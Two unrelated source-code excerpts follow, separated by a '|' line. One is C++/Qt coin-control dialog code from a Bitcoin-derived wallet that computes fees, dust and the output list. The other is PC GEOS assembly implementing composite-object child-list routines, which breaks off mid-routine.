if (column == COLUMN_CHECKBOX && item->data(COLUMN_ADDRESS, TxHashRole).toString().length() == 64) // transaction hash is 64 characters (this means it is a child node, so it is not a parent node in tree mode)
{
COutPoint outpt(uint256S(item->data(COLUMN_ADDRESS, TxHashRole).toString().toStdString()), item->data(COLUMN_ADDRESS, VOutRole).toUInt());
if (item->checkState(COLUMN_CHECKBOX) == Qt::Unchecked)
coinControl()->UnSelect(outpt);
else if (item->isDisabled()) // locked (this happens if "check all" through parent node)
item->setCheckState(COLUMN_CHECKBOX, Qt::Unchecked);
else
coinControl()->Select(outpt);
// selection changed -> update labels
if (ui->treeWidget->isEnabled()) // do not update on every click for (un)select all
CoinControlDialog::updateLabels(model, this);
}
// TODO: Remove this temporary qt5 fix after Qt5.3 and Qt5.4 are no longer used.
// Fixed in Qt5.5 and above: https://bugreports.qt.io/browse/QTBUG-43473
else if (column == COLUMN_CHECKBOX && item->childCount() > 0)
{
if (item->checkState(COLUMN_CHECKBOX) == Qt::PartiallyChecked && item->child(0)->checkState(COLUMN_CHECKBOX) == Qt::PartiallyChecked)
item->setCheckState(COLUMN_CHECKBOX, Qt::Checked);
}
}
// shows count of locked unspent outputs
void CoinControlDialog::updateLabelLocked()
{
std::vector<COutPoint> vOutpts;
model->wallet().listLockedCoins(vOutpts);
if (vOutpts.size() > 0)
{
ui->labelLocked->setText(tr("(%1 locked)").arg(vOutpts.size()));
ui->labelLocked->setVisible(true);
}
else ui->labelLocked->setVisible(false);
}
void CoinControlDialog::updateLabels(WalletModel *model, QDialog* dialog)
{
if (!model)
return;
// nPayAmount
CAmount nPayAmount = 0;
bool fDust = false;
CMutableTransaction txDummy;
for (const CAmount &amount : CoinControlDialog::payAmounts)
{
nPayAmount += amount;
if (amount > 0)
{
CTxOut txout(amount, static_cast<CScript>(std::vector<unsigned char>(24, 0)));
txDummy.vout.push_back(txout);
fDust |= IsDust(txout, model->node().getDustRelayFee());
}
}
CAmount nAmount = 0;
CAmount nPayFee = 0;
CAmount nAfterFee = 0;
CAmount nChange = 0;
unsigned int nBytes = 0;
unsigned int nBytesInputs = 0;
unsigned int nQuantity = 0;
bool fWitness = false;
std::vector<COutPoint> vCoinControl;
coinControl()->ListSelected(vCoinControl);
size_t i = 0;
for (const auto& out : model->wallet().getCoins(vCoinControl)) {
if (out.depth_in_main_chain < 0) continue;
// unselect already spent, very unlikely scenario, this could happen
// when selected are spent elsewhere, like rpc or another computer
const COutPoint& outpt = vCoinControl[i++];
if (out.is_spent)
{
coinControl()->UnSelect(outpt);
continue;
}
// Quantity
nQuantity++;
// Amount
nAmount += out.txout.nValue;
// Bytes
CTxDestination address;
int witnessversion = 0;
std::vector<unsigned char> witnessprogram;
if (out.txout.scriptPubKey.IsWitnessProgram(witnessversion, witnessprogram))
{
nBytesInputs += (32 + 4 + 1 + (107 / WITNESS_SCALE_FACTOR) + 4);
fWitness = true;
}
else if(ExtractDestination(out.txout.scriptPubKey, address))
{
CPubKey pubkey;
CKeyID *keyid = boost::get<CKeyID>(&address);
if (keyid && model->wallet().getPubKey(*keyid, pubkey))
{
nBytesInputs += (pubkey.IsCompressed() ? 148 : 180);
}
else
nBytesInputs += 148; // in all error cases, simply assume 148 here
}
else nBytesInputs += 148;
}
// calculation
if (nQuantity > 0)
{
// Bytes
nBytes = nBytesInputs + ((CoinControlDialog::payAmounts.size() > 0 ? CoinControlDialog::payAmounts.size() + 1 : 2) * 34) + 10; // always assume +1 output for change here
if (fWitness)
{
// there is some fudging in these numbers related to the actual virtual transaction size calculation that will keep this estimate from being exact.
// usually, the result will be an overestimate within a couple of satoshis so that the confirmation dialog ends up displaying a slightly smaller fee.
// also, the witness stack size value is a variable sized integer. usually, the number of stack items will be well under the single byte var int limit.
nBytes += 2; // account for the serialized marker and flag bytes
nBytes += nQuantity; // account for the witness byte that holds the number of stack items for each input.
}
// in the subtract fee from amount case, we can tell if zero change already and subtract the bytes, so that fee calculation afterwards is accurate
if (CoinControlDialog::fSubtractFeeFromAmount)
if (nAmount - nPayAmount == 0)
nBytes -= 34;
// Fee
nPayFee = model->wallet().getMinimumFee(nBytes, *coinControl(), nullptr /* returned_target */, nullptr /* reason */);
if (nPayAmount > 0)
{
nChange = nAmount - nPayAmount;
if (!CoinControlDialog::fSubtractFeeFromAmount)
nChange -= nPayFee;
// Never create dust outputs; if we would, just add the dust to the fee.
if (nChange > 0 && nChange < MIN_CHANGE)
{
CTxOut txout(nChange, static_cast<CScript>(std::vector<unsigned char>(24, 0)));
if (IsDust(txout, model->node().getDustRelayFee()))
{
nPayFee += nChange;
nChange = 0;
if (CoinControlDialog::fSubtractFeeFromAmount)
nBytes -= 34; // we didn't detect lack of change above
}
}
if (nChange == 0 && !CoinControlDialog::fSubtractFeeFromAmount)
nBytes -= 34;
}
// after fee
nAfterFee = std::max<CAmount>(nAmount - nPayFee, 0);
}
// actually update labels
int nDisplayUnit = BitcoinUnits::MAT;
if (model && model->getOptionsModel())
nDisplayUnit = model->getOptionsModel()->getDisplayUnit();
QLabel *l1 = dialog->findChild<QLabel *>("labelCoinControlQuantity");
QLabel *l2 = dialog->findChild<QLabel *>("labelCoinControlAmount");
QLabel *l3 = dialog->findChild<QLabel *>("labelCoinControlFee");
QLabel *l4 = dialog->findChild<QLabel *>("labelCoinControlAfterFee");
QLabel *l5 = dialog->findChild<QLabel *>("labelCoinControlBytes");
QLabel *l7 = dialog->findChild<QLabel *>("labelCoinControlLowOutput");
QLabel *l8 = dialog->findChild<QLabel *>("labelCoinControlChange");
// enable/disable "dust" and "change"
dialog->findChild<QLabel *>("labelCoinControlLowOutputText")->setEnabled(nPayAmount > 0);
dialog->findChild<QLabel *>("labelCoinControlLowOutput") ->setEnabled(nPayAmount > 0);
dialog->findChild<QLabel *>("labelCoinControlChangeText") ->setEnabled(nPayAmount > 0);
dialog->findChild<QLabel *>("labelCoinControlChange") ->setEnabled(nPayAmount > 0);
// stats
l1->setText(QString::number(nQuantity)); // Quantity
l2->setText(BitcoinUnits::formatWithUnit(nDisplayUnit, nAmount)); // Amount
l3->setText(BitcoinUnits::formatWithUnit(nDisplayUnit, nPayFee)); // Fee
l4->setText(BitcoinUnits::formatWithUnit(nDisplayUnit, nAfterFee)); // After Fee
l5->setText(((nBytes > 0) ? ASYMP_UTF8 : "") + QString::number(nBytes)); // Bytes
l7->setText(fDust ? tr("yes") : tr("no")); // Dust
l8->setText(BitcoinUnits::formatWithUnit(nDisplayUnit, nChange)); // Change
if (nPayFee > 0)
{
l3->setText(ASYMP_UTF8 + l3->text());
l4->setText(ASYMP_UTF8 + l4->text());
if (nChange > 0 && !CoinControlDialog::fSubtractFeeFromAmount)
l8->setText(ASYMP_UTF8 + l8->text());
}
// turn label red when dust
l7->setStyleSheet((fDust) ? "color:red;" : "");
// tool tips
QString toolTipDust = tr("This label turns red if any recipient receives an amount smaller than the current dust threshold.");
// how many satoshis the estimated fee can vary per byte we guess wrong
double dFeeVary = (nBytes != 0) ? (double)nPayFee / nBytes : 0;
QString toolTip4 = tr("Can vary +/- %1 satoshi(s) per input.").arg(dFeeVary);
l3->setToolTip(toolTip4);
l4->setToolTip(toolTip4);
l7->setToolTip(toolTipDust);
l8->setToolTip(toolTip4);
dialog->findChild<QLabel *>("labelCoinControlFeeText") ->setToolTip(l3->toolTip());
dialog->findChild<QLabel *>("labelCoinControlAfterFeeText") ->setToolTip(l4->toolTip());
dialog->findChild<QLabel *>("labelCoinControlBytesText") ->setToolTip(l5->toolTip());
dialog->findChild<QLabel *>("labelCoinControlLowOutputText")->setToolTip(l7->toolTip());
dialog->findChild<QLabel *>("labelCoinControlChangeText") ->setToolTip(l8->toolTip());
// Insufficient funds
QLabel *label = dialog->findChild<QLabel *>("labelCoinControlInsuffFunds");
if (label)
label->setVisible(nChange < 0);
}
CCoinControl* CoinControlDialog::coinControl()
{
static CCoinControl coin_control;
return &coin_control;
}
void CoinControlDialog::updateView()
{
if (!model || !model->getOptionsModel() || !model->getAddressTableModel())
return;
bool treeMode = ui->radioTreeMode->isChecked();
ui->treeWidget->clear();
ui->treeWidget->setEnabled(false); // performance, otherwise updateLabels would be called for every checked checkbox
ui->treeWidget->setAlternatingRowColors(!treeMode);
QFlags<Qt::ItemFlag> flgCheckbox = Qt::ItemIsSelectable | Qt::ItemIsEnabled | Qt::ItemIsUserCheckable;
QFlags<Qt::ItemFlag> flgTristate = Qt::ItemIsSelectable | Qt::ItemIsEnabled | Qt::ItemIsUserCheckable | Qt::ItemIsTristate;
int nDisplayUnit = model->getOptionsModel()->getDisplayUnit();
for (const auto& coins : model->wallet().listCoins()) {
CCoinControlWidgetItem *itemWalletAddress = new CCoinControlWidgetItem();
itemWalletAddress->setCheckState(COLUMN_CHECKBOX, Qt::Unchecked);
QString sWalletAddress = QString::fromStdString(EncodeDestination(coins.first));
QString sWalletLabel = model->getAddressTableModel()->labelForAddress(sWalletAddress);
if (sWalletLabel.isEmpty())
sWalletLabel = tr("(no label)");
if (treeMode)
{
// wallet address
ui->treeWidget->addTopLevelItem(itemWalletAddress);
itemWalletAddress->setFlags(flgTristate);
itemWalletAddress->setCheckState(COLUMN_CHECKBOX, Qt::Unchecked);
// label
itemWalletAddress->setText(COLUMN_LABEL, sWalletLabel);
// address
itemWalletAddress->setText(COLUMN_ADDRESS, sWalletAddress);
}
CAmount nSum = 0;
int nChildren = 0;
for (const auto& outpair : coins.second) {
const COutPoint& output = std::get<0>(outpair);
const interfaces::WalletTxOut& out = std::get<1>(outpair);
nSum += out.txout.nValue;
nChildren++;
CCoinControlWidgetItem *itemOutput;
if (treeMode) itemOutput = new CCoinControlWidgetItem(itemWalletAddress);
else itemOutput = new CCoinControlWidgetItem(ui->treeWidget);
itemOutput->setFlags(flgCheckbox);
itemOutput->setCheckState(COLUMN_CHECKBOX,Qt::Unchecked);
// address
CTxDestination outputAddress;
QString sAddress = "";
if(ExtractDestination(out.txout.scriptPubKey, outputAddress))
{
sAddress = QString::fromStdString(EncodeDestination(outputAddress));
// if listMode or change => show matcoin address. In tree mode, address is not shown again for direct wallet address outputs
if (!treeMode || (!(sAddress == sWalletAddress)))
itemOutput->setText(COLUMN_ADDRESS, sAddress);
}
// label
if (!(sAddress == sWalletAddress)) // change
{
// tooltip from where the change comes from
itemOutput->setToolTip(COLUMN_LABEL, tr("change from %1 (%2)").arg(sWalletLabel).arg(sWalletAddress));
itemOutput->setText(COLUMN_LABEL, tr("(change)"));
}
else if (!treeMode)
{
QString sLabel = model->getAddressTableModel()->labelForAddress(sAddress);
if (sLabel.isEmpty())
sLabel = tr("(no label)");
itemOutput->setText(COLUMN_LABEL, sLabel);
}
// amount
itemOutput->setText(COLUMN_AMOUNT, BitcoinUnits::format(nDisplayUnit, out.txout.nValue));
itemOutput->setData(COLUMN_AMOUNT, Qt::UserRole, QVariant((qlonglong)out.txout.nValue)); // padding so that sorting works correctly
// date
itemOutput->setText(COLUMN_DATE, GUIUtil::dateTimeStr(out.time));
itemOutput->setData(COLUMN_DATE, Qt::UserRole, QVariant((qlonglong)out.time));
// confirmations
itemOutput->setText(COLUMN_CONFIRMATIONS, QString::number(out.depth_in_main_chain));
itemOutput->setData(COLUMN_CONFIRMATIONS, Qt::UserRole, QVariant((qlonglong)out.depth_in_main_chain));
// transaction hash
itemOutput->setData(COLUMN_ADDRESS, TxHashRole, QString::fromStdString(output.hash.GetHex()));
// vout index
itemOutput->setData(COLUMN_ADDRESS, VOutRole, output.n);
// disable locked coins
if (model->wallet().isLockedCoin(output))
{
coinControl()->UnSelect(output); // just to be sure
itemOutput->setDisabled(true);
itemOutput->setIcon(COLUMN_CHECKBOX, platformStyle->SingleColorIcon(":/icons/lock_closed"));
}
// set checkbox
if (coinControl()->IsSelected(output))
itemOutput->setCheckState(COLUMN_CHECKBOX, Qt::Checked);
}
// amount
if (treeMode)
{
itemWalletAddress->setText(COLUMN_CHECKBOX, "(" + QString::number(nChildren) + ")");
itemWalletAddress->setText(COLUMN_AMOUNT, BitcoinUnits::format(nDisplayUnit, nSum));
itemWalletAddress->setData(COLUMN_AMOUNT, Qt::UserRole, QVariant((qlonglong)nSum));
}
}
// expand all partially selected
if (treeMode)
{
for (int i = 0; i < ui->treeWidget->topLevelItemCount(); i++)
if (ui->treeWidget->topLevelItem(i)->checkState(COLUMN_CHECKBOX) == Qt::PartiallyChecked)
ui->treeWidget->topLevelItem(i)->setExpanded(true);
}
// sort view
sortView(sortColumn, sortOrder);
ui->treeWidget->setEnabled(true);
}
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Object
FILE: objComposite.asm
ROUTINES:
Name Description
---- -----------
GLB ObjCompAddChild
GLB ObjCompRemoveChild
GLB ObjCompFindChild
GLB ObjCompMoveChild
GLB ObjCompProcessChildren
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Doug 2/89 Updated DEATH & DESTROY
DESCRIPTION:
This file contains routines to implement a composite class.
$Id: objectComposite.asm,v 1.1 97/04/05 01:14:29 newdeal Exp $
------------------------------------------------------------------------------@
COMMENT @------------------------------------------------------------------
; A composite object is an object that contains a linked list of other objects
; that are called "children" of the composite. The linkage is accomplisted by
; keeping a "firstChild" pointer in the composite object and "nextSibling"
; pointers in each child object, with the final child pointing back to the
; parent (the pointer is kept in the nextSibling link with the LP_IS_PARENT
; bit set in the .chunk portion of the pointer). This restricts an object to
; being a child of only one composite (using a given linkage) at a time.
;
; For a given linkage, the composite has a CompPart structure (to be used
; exclusively by these routines), while each child has a LinkPart structure
; (also to be considered opaque).
; ObjCompAddChild is used to add a child to a composite.
; The location to add the child is determined by the flags and the reference
; child passed (see "choosing where to add/move", below).
;
; Pass: *ds:si - instance data
; cx:dx - object to add
; bp - flags for how to add child (CompChildFlags)
; bx - offset of master group pointer in composite and child's
; base structure
; ax - offset within master group instance data to LinkPart in
; the child
; di - offset within master group instance data to CompPart in
; the composite
; Return: none
;
; Choosing where to add/move a child:
;
; Both ObjCompAddChild and ObjCompMoveChild take a CompChildFlags constant
; in bp that determines where the child is added or moved to. The options are:
; CCO_FIRST - Put the child at the beginning of the list. This makes
; the child the first child in the composite
; CCO_LAST - Put the child at the end of the list. This makes the
; child the last child in the composite (does not work if more
; than 32766 children)
; ELSE, it uses the number passed in BP as the number of the child before
; which it will add this new object.
; ObjCompRemoveChild is used to remove a child from the composite. The child
; to be removed must be a child of the composite (else a fatal error in the
; error checking version). Note that the child is not destroyed and is not
; sent any notification that it is being removed.
;
; Pass: *ds:si - instance data
; cx:dx - object to remove
; bp - flags for how to remove child (CompChildFlags)
; bx - offset of master group pointer in composite and child's
; base structure
; ax - offset within master group instance data to LinkPart in
; the child
; di - offset within master group instance data to CompPart in
; the composite
; Return: none
; ObjCompMoveChild is used to move a child to a different location in the list
; of children. Note that the child is not physically moved, rather the
; "nextSibling" pointers (and possibly the composite's "firstChild" pointer)
; are changed. The child to be moved must be a child of the composite (else a
; fatal error in the error checking version). The location to add the child
; is determined by the flags and the reference child passed (see "choosing
; where to add/move", above).
;
; Pass: *ds:si - instance data (of composite)
; cx:dx - chunk handle to move
; bp - flags for how to move child (CompChildOptions)
; bx - offset of master group pointer in composite and child's
; base structure
; ax - offset within master group instance data to LinkPart in
; the child
; di - offset within master group instance data to CompPart in
; the composite
; Return: none
-------------------------------------------------------------------------@
COMMENT @----------------------------------------------------------------------
FUNCTION: ObjCompAddChild
DESCRIPTION: Perform "MSG_ADD_CHILD" for a composite object
CALLED BY: GLOBAL
PASS:
*ds:si - instance data of composite
cx:dx - object to add
bp - flags for child location desired (CompChildFlags)
CCF_MARK_DIRTY to mark chunks as dirty
ax - offset to field of type "LinkPart" in instance data
bx - offset to master instance offset to
part containing LinkPart and CompPart
di - offset to field of type "CompPart" in instance data
RETURN:
ds - updated to point at segment of same block as on entry
DESTROYED:
ax, bx, di, bp
WARNING: This routine MAY resize LMem and/or object blocks, moving
then on the heap and invalidating stored segment pointers
and current register or stored offsets to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Doug 5/89 Re-wrote for single OD "next" field
------------------------------------------------------------------------------@
ObjCompAddChild proc far
push si ;save composite chunk
EC < call CheckLMemObject >
EC < cmp cx, ds:[LMBH_handle] >
EC < jnz notAddingSelf >
EC < cmp dx, si >
EC < ERROR_Z CANNOT_MAKE_OBJECT_A_CHILD_OF_ITSELF >
EC <notAddingSelf: >
;;;byte-savings: since *ds:si gets loaded with the kid down below,
;;;I've decided to postpone the CheckLMemObject until then -- ardeb 8/3/90
;;;if ERROR_CHECK
;;; call CheckLMemObject ; *ds:si is obj to add to
;;; call PushAll ;Check object in CX:DX
;;; mov bx, cx
;;; call ObjLockObjBlock
;;; mov ds, ax
;;; mov si, dx ; now *ds:si is obj to be added
;;; call CheckLMemObject ; check it out.
;;; call NearUnlock ; release block
;;; call PopAll
;;;endif
call FindObjLocation ; Figure out where to insert obj
; ds:si - pointing directly at link field at location requested
; di - handle of composite obj. If ds:[0] != di, then we've locked
; another block to be able to provide ds above.
; if previous "next" was 0, then this should be a parent pointer
pop bp ; get parent chunk from stack
push bp
or bp,LP_IS_PARENT ; assume parent link
push di ; save handle of composite obj
cmp ds:[si].handle,0 ; assume this is a parent link
jz parent
mov di, ds:[si].handle ; get previous "next" ptr
mov bp, ds:[si].chunk
parent:
mov ds:[si].handle, cx ; store ptr to new object
mov ds:[si].chunk, dx
; setup new child
push ds:[LMBH_handle] ; preserve current ds handle
;
; Lock down the child object and make sure the master part that
; contains the linkage is actually around, building it out if not...
;
xchg bx, cx
call ObjLockObjBlockToDS
xchg bx, cx ; restore master offset
mov si, dx
EC < call CheckLMemObject >
; See if obj master part needs building
tst bx ; If no master offset then must be
jz alreadyBuilt ; built, so jmp
mov si, ds:[si]
cmp {word}ds:[si][bx], 0
mov si, dx
jne alreadyBuilt ; Skip if already build
; *ds:si = object
; bx = master offset
call ObjInitializePart ; build the master part
alreadyBuilt:
; Registers:
; *ds:si - child object
; ax - offset to field of type "LinkPart" in instance data
; bx - offset to master instance offset to
; part containing LinkPart and CompPart
; cx - ds:[0]
; di:bp - OD to stuff into LP_next field
mov si, ds:[si] ; ptr to instance
tst bx
jz 10$
add si, ds:[si][bx] ; add master offset
10$:
add si, ax ; add in offset to link part
; See if LP_next field is 0 (not
; currently attached)
EC< cmp ds:[si].LP_next.handle, 0 >
EC< ERROR_NZ ADD_CHILD_OF_OBJ_ALREADY_IN_COMPOSITE >
; Store "Next" link
mov ds:[si].LP_next.handle, di
mov ds:[si].LP_next.chunk, bp
; unlock child (locked above)
xchg bx, cx
call NearUnlock
xchg bx, cx
LoadVarSeg ds ; Need idata to do this
pop di ; get handle of (locked) block
; containing link
mov ds,ds:[di].HM_addr ; extract segment
pop di ; retrieve composite block handle
call UnlockDSIfNotDIAndReloadDS
pop si
ret
ObjCompAddChild endp
COMMENT @----------------------------------------------------------------------
FUNCTION: FindObjLocation
DESCRIPTION: Find object location in composite child list, based on
info passed. Returns object referenced, ptr to the correct
link field.
CALLED BY: INTERNAL
PASS:
*ds:si - instance data of composite
bp - flags for child location desired (CompChildFlags)
CCF_MARK_DIRTY set to mark chunks as dirty
cx:dx - object to dirty (if CCF_MARK_DIRTY is set)
ax - offset to field of type "LinkPart" in instance data
bx - offset to master instance offset to
part containing LinkPart and CompPart
di - offset to field of type "CompPart" in instance data
RETURN:
ds:si - pointing directly at link field at location requested
di - handle of composite obj. If ds:[0] != di, then we've locked
another block to be able to provide ds above.
DESTROYED:
bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 5/89 Initial version
------------------------------------------------------------------------------@
FindObjLocation proc near
push cx
push dx
mov cx, bp ; put flags in cx
mov bp, bx ; keep master offset in bp
; Map After test to a before test
test cx,mask CCF_MARK_DIRTY ;
pushf ; save "make dirty" status
and cx,not mask CCF_MARK_DIRTY ;Nuke the mark dirty flag
;CX <- child # to add object before
mov dx, si ; save parent object as one to mark
; dirty, if that's called for
mov si, ds:[si]
tst bx
jz 10$
add si, ds:[si][bx] ; add in master offset (still in bx
; as well as bp -- no point in using
; an override if we can avoid it)
10$:
add si, di ; ds:si is now pointer to CP_firstChild
mov di, ds:[LMBH_handle] ; store handle of composite obj here
cmp ds:[si].chunk, 0 ; empty composite ?
jne loopEntry
done:
mov bx, bp ; restore master offset
mov bp, dx ; recover link object to make dirty
popf ; recover "make dirty" flag
pop dx
pop cx
jz noDirty
push ax, bx
xchg ax,bp ; ax = object to dirty
call MarkAXAndCXDXDirty
pop ax, bx
noDirty:
ret
; *ds:si = child, dx = object to mark dirty, bp = master offset,
; ax = offset to LinkPart, cx = count of children left to traverse,
; di = handle of composite's block
FOL_loop:
mov dx, si ; record this one as object to dirty
mov si, ds:[si]
tst bp
jz 20$
add si, ds:[si][bp] ; add in master offset
20$:
add si, ax ; ds:si is now pointer to LP_next
; ds:si = address of link
loopEntry:
jcxz done ; 0 => used up child counter
test ds:[si].chunk, LP_IS_PARENT ;at end ?
jnz done ; if so,done (add to the end)
EC < cmp ds:[si].handle, 0 >
EC < ERROR_Z CORRUPT_LINKAGE >
; MOVE on to next object
mov bx, ds:[si].handle
mov si, ds:[si].chunk
call UnlockDSIfNotDIAndReloadDS
dec cx ; bump object count
cmp bx, di ; see if in block of composite
je FOL_loop ; if so, just loop
call ObjLockObjBlockToDS ; else lock the block
jmp FOL_loop ; & loop back in
FindObjLocation endp
COMMENT @----------------------------------------------------------------------
FUNCTION: MarkAXAndCXDXDirty
DESCRIPTION: Mark *ds:ax and ^lcx:dx dirty
CALLED BY: INTERNAL
PASS:
*ds:ax - object to mark dirty
^lcx:dx - object to mark dirty
RETURN:
none
DESTROYED:
ax, bx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/90 Initial version
------------------------------------------------------------------------------@
MarkAXAndCXDXDirty proc near uses ds
.enter
mov bx,mask OCF_DIRTY
call ObjSetFlags
mov bx,cx ; lock additional object to dirty
call ObjLockObjBlockToDS
mov ax,dx ; (not xchg, as DX still needed)
mov bx,mask OCF_DIRTY
call ObjSetFlags
mov bx,cx
call NearUnlock
.leave
ret
MarkAXAndCXDXDirty endp
COMMENT @----------------------------------------------------------------------
FUNCTION: ObjCompRemoveChild
DESCRIPTION: Perform "MSG_REMOVE_CHILD" for a composite object
CALLED BY: GLOBAL
PASS:
*ds:si - instance data
cx:dx - object to remove
ax - offset to field of type "LinkPart" in instance data
bx - offset to instance part containing LinkPart and CompPart
di - offset to field of type "CompPart" in instance data
bp - flags: CCF_MARK_DIRTY to mark chunks as dirty
RETURN:
ds - updated to point at segment of same block as on entry
DESTROYED:
ax, bx, di
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Doug 5/89 Re-wrote for single "Next" OD ptr
------------------------------------------------------------------------------@
ObjCompRemoveChild proc far
push cx, dx, si, bp
EC < call CheckLMemObject >
EC < test bp, not mask CCF_MARK_DIRTY >
EC < ERROR_NZ REMOVE_CHILD_BAD_FLAGS >
; find object
call FindChildLow ; locate the child
;EC < ERROR_C BAD_REMOVE_CHILD >
;
; Don't error anymore -- instead, assume this is a "one-way" linkage, and
; zero out the child's parent link.
;
pushf ; Save flags so that we can figure out
; later we're just removing parent link
; lock object, save and zero its next link
push si
push ds
xchg bx, cx ;bx = child handle, cx = master offset
call ObjLockObjBlockToDS
mov si, dx ;*ds:si = child being removed
EC < call CheckLMemObject >
mov si, ds:[si]
xchg cx, bp ;bp = master offset, cx = child #
tst bp
jz 10$
add si, ds:[si][bp] ; add in master offset
10$:
mov bp, cx ;bp = child #
add si, ax ; add in offset to LinkPart
; Get "next" link stored there
clr cx ; & replace with zeros
mov dx, cx
xchg cx, ds:[si].handle
xchg dx, ds:[si].chunk
pop ds
pop si
popf ; Get flags - removing one-way link?
jnc fixupPreviousLink ; skip if not
EC < ; if removing one-way link, make>
EC < ; sure that's what it was >
EC < cmp cx, ds:[LMBH_handle] >
EC < ERROR_NZ BAD_REMOVE_CHILD >
EC < sub dx, LP_IS_PARENT ; un-convert from parent link >
EC < cmp dx, si >
EC < ERROR_NZ BAD_REMOVE_CHILD >
; if one-way link, just unlock child,
; & we're all done.
; unlock block of object removed
call NearUnlock
; restore composite segment to DS
LoadVarSeg ds
mov ds,ds:[di].HM_addr
jmp short done
fixupPreviousLink:
; if removing first child AND link is a parent link then we are
; removing the only child
tst bp
jnz notOnly
test dx,LP_IS_PARENT
jz notOnly
clr cx
mov dx, cx
notOnly:
; fix previous link
mov ds:[si].handle,cx
mov ds:[si].chunk,dx
; unlock block of object removed
call NearUnlock
; unlock child block if different and make sure ds contains
; composite again
call UnlockDSIfNotDIAndReloadDS
done:
pop cx, dx, si, bp
ret
ObjCompRemoveChild endp
COMMENT @----------------------------------------------------------------------
FUNCTION: ObjCompFindChild
DESCRIPTION: Find a child in a composite
CALLED BY: GLOBAL
PASS:
*ds:si - instance data of composite
cx:dx - optr of child
-- or --
cx = 0
dx = # of child to find
ax - offset to field of type "LinkPart" in instance data
bx - offset to master instance offset to
part containing LinkPart and CompPart
di - offset to field of type "CompPart" in instance data
RETURN:
carry - set if NOT FOUND
if FOUND:
bp - child position (0 = first child)
cx:dx - OD of child
if NOT FOUND:
bp - number of children
if optr passed:
cx, dx - unchanged
if # of child passed:
cx - unchanged
dx - # of child passed minus number of children
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 5/89 Initial version
------------------------------------------------------------------------------@
ObjCompFindChild proc far uses si, di, ds
.enter
EC < call CheckLMemObject >
jcxz numberToOD ;number -> OD ???
; OD -> number
clr bp ;don't mark dirty
call FindChildLow ;preserves cx, dx
jc done
call UnlockDSIfNotDI
clc
done:
.leave
ret
; numer to OD, use ObjCompProcessChildren, cx = 0
numberToOD:
push cx ;start at first child (pass null)
push cx
push ax ;LinkPart
push cs ;callback
mov cx,offset OCFC_callBack
push cx
clr bp ;init children count
call ObjCompProcessChildren
cmc ;we want to return the opposite of
;ObjCompProcessChildren
jmp done
ObjCompFindChild endp
; *ds:si = child, dx = number
; return ^lcx:dx (and carry set) if this is the one.
OCFC_callBack proc far
inc bp ;one more child found
tst dx
jz found
dec dx
clc
ret
found:
mov cx,ds:[LMBH_handle]
mov dx,si
stc
ret
OCFC_callBack endp
COMMENT @----------------------------------------------------------------------
FUNCTION: FindChildLow
DESCRIPTION: Find a child in a composite
CALLED BY: INTERNAL
ObjRemoveChild, ObjCompFindChild
PASS:
*ds:si - instance data of composite
cx:dx - optr of child
ax - offset to field of type "LinkPart" in instance data
bx - offset to master instance offset to
part containing LinkPart and CompPart
di - offset to field of type "CompPart" in instance data
bp - flags: CCF_MARK_DIRTY to mark chunks as dirty
RETURN:
carry - set if not found
if FOUND:
carry clear
ds:si - pointing directly at link to given child
di - handle of composite obj. If ds:[LMBH_handle] != di, then
we've locked another block to be able to provide ds above.
bp - child position (0 = first child)
if NOT FOUND:
carry set
bp - number of children
*ds:si - composite
di - handle of composite
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 5/89 Initial version
------------------------------------------------------------------------------@
FindChildLow proc near
flags equ {word}ss:[bp]
masterOffset local word ; master offset of linkage\
push bx
chunkToDirty local word ; save chunk to dirty (parent at first)\
push si
counter local word ; child counter
.enter
EC < call CheckLMemObject >
mov counter, 0
push si ; save original chunk of composite, in
; case needed
mov si, ds:[si]
tst bx
jz 10$
add si, ds:[si][bx] ; add in master offset
10$:
add si, di ; ds:si is now pointer to CP_firstChild
mov di, ds:[LMBH_handle] ; store handle of composite obj here
tst ds:[si].handle
pop bx ; restore chunk handle of composite, in
; case needed
jnz loopEntry ; jmp if list not empty
mov si, bx ; THIS is the case where the composite
; chunk is needed:
; if list empty, return *ds:si = comp
jmp notFound
; *ds:si = child
childLoop:
inc ss:counter
mov ss:chunkToDirty,si
mov si, ds:[si]
mov bx,ss:masterOffset
tst bx
jz 20$
add si, ds:[si][bx] ; add in master offset
20$:
add si, ax ; ds:si is now pointer to LP_next
; ds:si = address of link, cx:dx = target, di = handle of composite
; ax = LinkPart offset
loopEntry:
mov bx,ds:[si].chunk ; bx = chunk of child
test bx, LP_IS_PARENT ;at end ?
jnz atEnd
cmp bx,dx ; matching handles ?
jnz noMatch
cmp cx,ds:[si].handle
jz match
noMatch:
EC < tst ds:[si].handle >
EC < ERROR_Z CORRUPT_LINKAGE >
; Move to next object
mov si, ds:[si].handle
xchg bx, si
call UnlockDSIfNotDIAndReloadDS
cmp bx, di ; see if in block of composite
je childLoop ; if so, just loop
call ObjLockObjBlockToDS ; else lock the block
jmp childLoop ; & loop back in
match:
test ss:flags, mask CCF_MARK_DIRTY
jz noDirty
push ax
mov ax,ss:chunkToDirty
call MarkAXAndCXDXDirty
pop ax
noDirty:
clc ;found
done:
mov bx, ss:counter ;return child counter in BP
mov ss:[bp], bx
